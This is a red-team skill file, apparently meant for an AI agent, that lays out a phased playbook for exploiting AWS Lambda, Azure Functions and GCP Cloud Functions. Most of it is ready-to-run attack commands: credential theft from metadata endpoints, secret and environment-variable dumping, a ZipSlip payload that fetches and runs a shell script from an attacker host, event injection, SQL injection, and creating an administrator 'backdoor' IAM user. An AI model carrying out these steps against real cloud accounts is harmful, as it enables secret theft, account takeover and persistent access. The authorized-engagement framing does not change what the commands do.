---
name: rt-serverless
description: "Serverless function exploitation skill for authorized engagements. AWS Lambda privilege escalation and data exfiltration, Azure Functions abuse, GCP Cloud Functions exploitation, environment variable extraction from serverless contexts, event injection attacks (S3 trigger, SQS, SNS), function URL misconfiguration, cold start timing attacks, shared filesystem abuse, and lateral movement from serverless to cloud account. Use when engagement scope includes cloud-native or serverless architectures."
---

# rt-serverless — Serverless Function Exploitation

## Overview

Serverless functions (Lambda, Azure Functions, Cloud Functions) have a unique attack surface: they run with IAM roles, have environment variables containing secrets, share underlying infrastructure, and are triggered by cloud events that attackers can inject into. A misconfigured Lambda can be the pivot from an external vulnerability to full cloud account takeover.

---

## Phase 1 — Discovery & Enumeration

```bash
# AWS Lambda enumeration
aws lambda list-functions --region us-east-1
aws lambda get-function --function-name target-function
# Shows: code location (S3 URL), environment variables (if you have IAM rights), role

# Download function code
aws lambda get-function --function-name target-function \
  --query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function_code/
# Analyze code for: hardcoded creds, SQL queries, internal endpoints

# Get function policy (who can invoke it)
aws lambda get-policy --function-name target-function
# If Resource: "*" → publicly invokable

# List function URLs (direct HTTPS invocation without IAM)
aws lambda list-function-url-configs --function-name target-function
# AuthType: NONE = unauthenticated invoke = high risk

# Azure Functions enumeration
az functionapp list --output table
az functionapp function list --name FUNCTION_APP --resource-group RG

# GCP Cloud Functions
gcloud functions list
gcloud functions describe FUNCTION_NAME --region us-central1
```

---

## Phase 2 — Unauthenticated Function Invocation

```bash
# Lambda Function URLs with AuthType: NONE
curl https://RANDOM_ID.lambda-url.us-east-1.on.aws/

# Lambda with resource policy allowing public invoke
aws lambda invoke --function-name target-function \
  --payload '{"action":"admin","user":"attacker"}' \
  --cli-binary-format raw-in-base64-out output.json
cat output.json

# Azure Function with anonymous auth level
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME"
# Or with function key:
curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME?code=FUNCTION_KEY"

# Find function keys (often in source code, CI/CD, or Azure Portal)
az functionapp function keys list --name FUNCTIONAPP --resource-group RG --function-name FUNC

# GCP unauthenticated function
curl "https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME"
# allUsers with invoker role = public
gcloud functions get-iam-policy FUNCTION_NAME
```

---

## Phase 3 — Environment Variable Extraction

```bash
# Lambda environment variables often contain:
# - Database credentials
# - API keys (Stripe, Twilio, SendGrid)
# - JWT signing secrets
# - Internal service URLs
# - AWS credentials for other services

# Extract env vars if you have lambda:GetFunction
aws lambda get-function-configuration --function-name target-function \
  | jq '.Environment.Variables'
# Output:
# {
#   "DB_PASSWORD": "secretpassword",
#   "STRIPE_API_KEY": "sk_live_...",
#   "INTERNAL_API_KEY": "abc123"
# }

# From inside function execution (SSRF → Lambda metadata)
# If the function is vulnerable to SSRF:
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Or Lambda-specific endpoint:
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Returns temporary credentials for the function's IAM role

# If you have code execution inside function:
# Process environment dump
import os
print(dict(os.environ))
# All env vars including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
```

---

## Phase 4 — Event Injection Attacks

```bash
# Functions triggered by cloud events — inject malicious events

# S3 trigger: function processes files uploaded to S3 bucket
# If you have S3 write access → upload malicious file → trigger function

# Upload file that causes path traversal in function
aws s3 cp malicious.csv s3://trigger-bucket/uploads/../../etc/passwd

# Upload ZIP that causes ZipSlip in function
python3 << 'EOF'
import zipfile
with zipfile.ZipFile("zipslip.zip", "w") as z:
    z.writestr("../../tmp/pwned.sh", "#!/bin/bash\ncurl http://ATTACKER/shell.sh | bash")
EOF
aws s3 cp zipslip.zip s3://trigger-bucket/uploads/

# SQS injection: function processes SQS messages
aws sqs send-message \
  --queue-url https://sqs.us-east-1.amazonaws.com/ACCOUNT/queue-name \
  --message-body '{"action":"admin_override","user_id":"1","admin":true}'

# SNS injection
aws sns publish \
  --topic-arn arn:aws:sns:us-east-1:ACCOUNT:topic-name \
  --message '{"type":"webhook","url":"http://169.254.169.254/latest/meta-data/"}'

# API Gateway → Lambda injection
# Standard web attacks (SQLi, XSS, SSRF) via HTTP
curl "https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user?id=1' OR '1'='1"
```

---

## Phase 5 — IAM Role Abuse from Lambda

```bash
# Lambda functions have an IAM execution role
# Over-privileged roles → lateral movement to other AWS services

# From inside function (or via SSRF):
# Get temporary credentials
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Response:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "...",
#   "Token": "...",
#   "Expiration": "2024-..."
# }

# Use credentials to escalate
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Check what the role can do
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name lambda-execution-role
aws iam get-role-policy --role-name lambda-execution-role --policy-name inline-policy

# Common over-privilege patterns:
aws s3 ls --recursive  # s3:* = read all buckets
aws secretsmanager list-secrets  # All secrets
aws ssm describe-parameters  # All SSM parameters (contain creds)
aws ec2 describe-instances  # Internal infrastructure map

# Best case: iam:* → full account takeover
aws iam create-user --user-name backdoor
aws iam attach-user-policy --user-name backdoor \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backdoor
```

---

## Phase 6 — Shared Filesystem & Cold Start Attacks

```bash
# /tmp in Lambda is shared across warm instances (same account, same function)
# Write to /tmp → next warm invocation reads it

# Test for shared /tmp abuse
# Invoke 1: write marker
curl -X POST FUNCTION_URL -d '{"action":"write","path":"/tmp/marker","content":"pwned"}'

# Invoke 2: read marker
curl -X POST FUNCTION_URL -d '{"action":"read","path":"/tmp/marker"}'
# If response = "pwned" → /tmp shared across invocations

# Lambda Layer abuse
# Layers are shared code across functions
# If you can modify a layer: aws lambda publish-layer-version
# All functions using that layer execute your code

# Cold start timing attack
# Functions have initialization code that runs once
# If init code is slow → cold start takes longer → timing reveals code paths

# Measure cold start time
python3 << 'EOF'
import requests, time

# Force cold start by changing something
for _ in range(5):
    start = time.time()
    r = requests.post(FUNCTION_URL, json={"probe": True})
    elapsed = time.time() - start
    print(f"Response time: {elapsed:.3f}s | Status: {r.status_code}")
    time.sleep(0.1)
# Long first response = cold start = leaked initialization info
EOF
```

---

## Phase 7 — Azure Functions & GCP Specific

```bash
# Azure Functions — Managed Identity abuse
# Functions with Managed Identity can access Azure resources

# From inside Azure function (SSRF to IMDS):
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
  -H "Metadata: true"
# Returns access token for the function's managed identity

# Use token to access Azure resources
TOKEN=$(curl -s "http://..." -H "Metadata: true" | jq -r '.access_token')
curl -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# GCP Cloud Functions — Service Account abuse
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  -H "Metadata-Flavor: Google"
# Returns access token for the function's service account

TOKEN=$(curl -s "http://..." -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"
```

---

## Skill Levels

**BEGINNER:** Lambda function enumeration + download code + check env vars + unauthenticated invoke

**INTERMEDIATE:** Event injection via S3/SQS + IAM role credential extraction via IMDS SSRF + Secrets Manager dump

**ADVANCED:** Lambda layer modification for persistence + shared /tmp abuse + managed identity chaining

**EXPERT:** Custom event injection chains + cross-function lateral movement + serverless-to-EC2 pivot via over-privileged role

---

## References

- Pacu (AWS exploitation): https://github.com/RhinoSecurityLabs/pacu
- Lambda security research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- Serverless Goat (lab): https://github.com/OWASP/Serverless-Goat
- MITRE T1648: https://attack.mitre.org/techniques/T1648/
